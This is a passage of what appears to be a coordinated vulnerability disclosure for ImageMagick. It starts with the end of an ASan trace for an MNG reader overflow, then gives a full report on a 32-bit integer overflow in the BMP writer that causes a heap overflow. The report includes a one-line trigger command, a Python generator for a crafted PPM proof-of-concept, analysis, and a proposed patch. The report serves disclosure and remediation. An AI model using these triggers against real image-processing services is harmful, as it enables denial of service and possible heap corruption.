    #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7
    #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28
    #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9
    #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15
    #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9
    #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22
    #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7
    #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13
    #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5
    #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14
    #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10
    #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10
    #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed
Shadow bytes around the buggy address:
  0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa
  0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==585863==ABORTING
```

## **Reporter Credit**

Google Big Sleep

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
## Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

- **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**.
    
- **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.
    
- **32-bit:** **Vulnerable** (reproduced with ASan).
    
- **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
    
- **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
    

---

## Scope & Affected Builds

- **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).
    
- **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`
    
- **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`
    
- **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan.
    
- **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
    

---

## Root Cause (with code anchors)

### Stride computation (writer)

```c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
```

### Per-row base and 24-bpp loop (writer)

```c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}
```

### Allocation (writer)

```c
pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
```

### Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug.

---

## Integer-Overflow Analysis (32-bit `size_t`)

Stride formula for 24-bpp:

```
bytes_per_line = 4 * ((width * 24 + 31) / 32)
```

There are **two independent overflow hazards** on 32-bit:

1. **Stage-1 multiply+add** in `(width * 24 + 31)`  
    Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`  
    → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`.
    
2. **Stage-2 final ×4** after the division  
    Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`.  
    Solving gives **width ≥ 1,431,655,765 (0x55555555)**.
    

Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help.

**Mismatch predicate (guaranteed OOB when overflowed):**  
Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.  
Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**.

---

## Concrete Demonstration

Chosen width: **`W = 178,957,200`** (just over Stage-1 bound)

- Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535**
    
- Divide by 32: `5535 / 32 = 172`
    
- Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride
    
- Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes`
    
- Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes`
    
- **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
    
---

## Observed Result (ASan excerpt)

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092
```

- Binary: **ELF 32-bit i386**, Q8, non-HDRI
    
- Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
    

---

## Exploitability & Risk

- **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
    
- **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
    
- **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N).
    
- **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**.
    

**Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

## Reproduction (copy-paste triager script)

**Test Environment:**

- `docker run -it --rm --platform linux/386 debian:11 bash`
    
- Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`
    
- Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`
    
- Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):

```bash
./configure \
  --host=i686-pc-linux-gnu \
  --build=x86_64-pc-linux-gnu \
  --disable-dependency-tracking \
  --disable-silent-rules \
  --disable-shared \
  --disable-openmp \
  --disable-docs \
  --without-x \
  --without-perl \
  --without-magick-plus-plus \
  --without-lqr \
  --without-zstd \
  --without-tiff \
  --with-quantum-depth=8 \
  --disable-hdri \
  CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)"
```
- Runtime limits to exercise writer:

```bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
```

**One-liner trigger (no input file):**

```bash
W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
```

**Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).

**Alternate PoC (raw PPM generator):**

```python
#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp
```

---

## Proposed Severity

- **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical**
    
- **If strictly CLI/manual conversion:** `UI:R` → **8.8 High**
    

---

## Maintainer Pushbacks — Pre-empted

- **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size.
    
- **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
    
- **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct.
    
---

## Remediation (Summary)

Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds.

Concretely:

- Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t.
- Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line.
- Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow.

A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers).

---

## Regression Tests to Include (PR-friendly)

1. **32-bit overflow repros** (with ASan):
    
    - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors.
        
    - `rows=2`, same bound → no row overlap; clean error.
        
2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`.
    
3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds.

---

## Attachments (private BMP_Package) 
Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.)

---

## Disclosure & Coordination

- **Reporter:** Lumina Mescuwa
    
- **Tested on:** i686 Linux container (details in Repro)
    
- **Timeline:** August 19th, 2025
    

---

## Appendices

### Appendix A — Patch block tailored to  `bmp.c`

**Where this hooks in (current code):**

- Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);`
    
- Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);`
    
- Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));`
    
- 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;`
    

---

## Suggested Patch (minimal surface, guards + invariant)

I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is.

```c
/* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */

/* 1) Guard the original stride arithmetic (preserve behavior, add checks). */
if (bmp_info.bits_per_pixel == 0 ||
    (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31;
/* Divide first; then check the final ×4 won't overflow. */
_tmp /= 32;
if (_tmp > (SIZE_MAX / 4))
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

bytes_per_line = 4 * _tmp;  /* same formula as before, now checked */

/* 2) Compute the actual data bytes written per row for the chosen bpp. */
size_t row_bytes;
if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) {
  /* packed: ceil(width*bpp/8) */
  if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3;
} else {
  /* 16/24/32 bpp: (bpp/8) * width */
  size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8;
  if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes)
    ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
  row_bytes = bpp_bytes * (size_t)image->columns;
}

/* 3) Per-row safety invariant: the payload must fit the stride. */
if (row_bytes > bytes_per_line)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

/* 4) Guard header size and allocation products. */
if ((size_t)image->rows == 0)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");

/* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */
if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows)
  ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit");
bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows);

/* Allocation count = rows * stride_used, with existing MagickMax policy. */
size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL);
if (_stride > SIZE_MAX / (size_t)image->rows)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");

pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels));
if (pixel_info == (MemoryInfo *) NULL)
  ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed");
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

/* Optional: keep zeroing aligned to computed header size. */
(void) memset(pixels, 0, (size_t) bmp_info.image_size);

/* --- PATCH END --- */
```

### Why this is the right spot?

- It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). 
    
- It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. 
    
- It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. 
    
- The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. 
    

---

## Notes

- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. 
    
- **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. 
    
- **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.
    

A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths.



### Appendix B — Arithmetic Worked Example (W=178,957,200)

- `(24W + 31) mod 2^32 = 5535`
    
- `bytes_per_line = 4 * (5535/32) = 688`
    
- `row_bytes (24-bpp) = 536,871,600`
    
- Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds.
    

### Appendix C — Raw ASan Log (trimmed)

```
=================================================================
==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 at 0x6eaac490 thread T0
    #0 0xed2788 in WriteBMPImage coders/bmp.c:2309
    #1 0x13da32c in WriteImage MagickCore/constitute.c:1342
    #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564
0x6eaac490 is located 0 bytes to the right of 178957456-byte region
allocated by thread T0 here:
    #0 0x408e30ab in __interceptor_posix_memalign
    #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747
    #2 0xecd597 in WriteBMPImage coders/bmp.c:2092
```